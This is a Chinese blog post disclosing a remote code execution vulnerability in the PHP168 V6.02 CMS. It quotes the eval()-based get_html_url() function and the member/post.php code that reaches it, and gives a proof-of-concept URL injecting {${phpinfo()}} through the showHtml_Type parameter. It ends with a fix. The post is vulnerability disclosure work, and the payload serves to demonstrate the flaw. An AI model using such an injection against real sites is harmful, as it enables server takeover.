\xeb\xfe's Blog.

PHP168 V6.02整站系统远程执行任意代码漏洞

2017/12/08

简要描述

PHP168 V6.02整站系统远程执行任意代码漏洞

详细说明

漏洞出在inc/function.inc.php里面.get_html_url()这个函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function get_html_url(){
global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
$id=$aid;
if($page<1){
$page=1;
}
$postdb[posttime]=$rsdb[posttime];
if($showHtml_Type[bencandy][$id]){
$filename_b=$showHtml_Type[bencandy][$id];
}elseif($fidDB[bencandy_html]){
$filename_b=$fidDB[bencandy_html];
}else{
$filename_b=$webdb[bencandy_filename];
}
//对于内容页的首页把$page去除
if($page==1){
$filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);
}
$dirid=floor($aid/1000);
//对于内容页的栏目小于1000篇文章时,把DIR分目录去除
if($dirid==0){
$filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);
}
if(strstr($filename_b,'$time_')){
$time_Y=date("Y",$postdb[posttime]);
$time_y=date("y",$postdb[posttime]);
$time_m=date("m",$postdb[posttime]);
$time_d=date("d",$postdb[posttime]);
$time_W=date("W",$postdb[posttime]);
$time_H=date("H",$postdb[posttime]);
$time_i=date("i",$postdb[posttime]);
$time_s=date("s",$postdb[posttime]);
}
if($fidDB[list_html]){
$filename_l=$fidDB[list_html];
}else{
$filename_l=$webdb[list_filename];
}
if($page==1){
if($webdb[DefaultIndexHtml]==1){
$filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);
}else{
$filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);
}
}
eval("\$array[_showurl]=\"$filename_b\";");
eval("\$array[_listurl]=\"$filename_l\";");
//自定义了栏目域名
if($Html_Type[domain][$fid]&&$Html_Type[domain_dir][$fid]){
$rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);
$filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);
$filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);
//特别处理一下些自定义内容页文件名的情况.
if(!eregi("^http:\/\/",$filename_b)){
$filename_b="$webdb[www_url]/$filename_b";
}
}else{
$filename_b="$webdb[www_url]/$filename_b";
$filename_l="$webdb[www_url]/$filename_l";
}
eval("\$array[showurl]=\"$filename_b\";");
eval("\$array[listurl]=\"$filename_l\";");
return $array;
}

代码第8-9行,当$showHtml_Type这个数组存在时,并且$showHtml_Type[bencandy][$id]不为空时,赋值$filename_b为$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.

在member/post.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
if(!$aid&&!$rid){
$aid=$id;
}
if($rid)
{
if(!$aid){
showerr("aid不存在!");
}
$erp=get_id_table($aid);
//修改主题或修改多页都可
$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");
$aid=$rsdb[aid];
$fid=$rsdb[fid];
$mid=$rsdb[mid];
}
elseif($aid)
{
$erp=get_id_table($aid);
//只能是修改主题/续发文章
$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");
isset($fid) || $fid=$rsdb[fid];
$mid=$rsdb[mid];
}
//让用户选择栏目
if((!$fid&&!$only)||$jobs=="choose")
{
$sortdb=array();
if( $webdb[sortNUM]>500||$fid ){
$rows=100;
$page<1 && $page=1;
$min=($page-1)*$rows;
$showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);
$query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");
while($rs = $db->fetch_array($query)){
$rs[post]=$rs[NUM]=$rs[do_art]='';
$detail_admin=@explode(",",$rs[admin]);
$detail_allowpost=@explode(",",$rs[allowpost]);
if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))
{
$erp=$Fid_db[iftable][$rs[fid]];
$_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");
if($_rs[NUM]&&$lfjid){
$rs[NUM]="( <b>{$_rs[NUM]}</b> )";
$rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";
}
$rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";
$allowpost++;
}
$sortdb[]=$rs;
}
if($fid){
$show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);
}
}else{
list_post_allsort();
if(!$allowpost){
showerr("你所在用户组无权发表文章",1);
}
}
$MSG="请选择一个栏目投稿";
require(dirname(__FILE__)."/"."head.php");
require(dirname(__FILE__)."/"."template/post_set.htm");
require(dirname(__FILE__)."/"."foot.php");
exit;
}
if($fid||$step){
$fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
!$fidDB && showerr("栏目有误");
$fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}
$job=='postnew' && !$mid && $mid=$fidDB[fmid];
if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))
{
$web_admin=1;
}
if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
if(!$lfjid&&$job!='postnew')
{
showerr("游客无权操作");
}
$atc_power=0;
if($lfjid)
{
if($web_admin||$lfjuid==$rsdb[uid]){
$atc_power=1;
}
}
$uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;
if($job=='endHTML')
{
$htmlurldb=get_html_url();
//首页生成静态
@unlink(PHP168_PATH."index.htm.bak");
rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");
refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);
}

第25行代码,当only或者fid不等于0时,且job等于”endHTML”时,执行函数get_html_url.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.

漏洞证明

先注册一个会员,登陆后在地址栏提交:

1
http://**.**.**.**/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

修复方案:

初始化$showHtml_Type数组.

原文链接:PHP168 V6.02整站系统远程执行任意代码漏洞

CATALOG
  1. 1. 简要描述
  2. 2. 详细说明
  3. 3. 漏洞证明
  4. 4. 修复方案: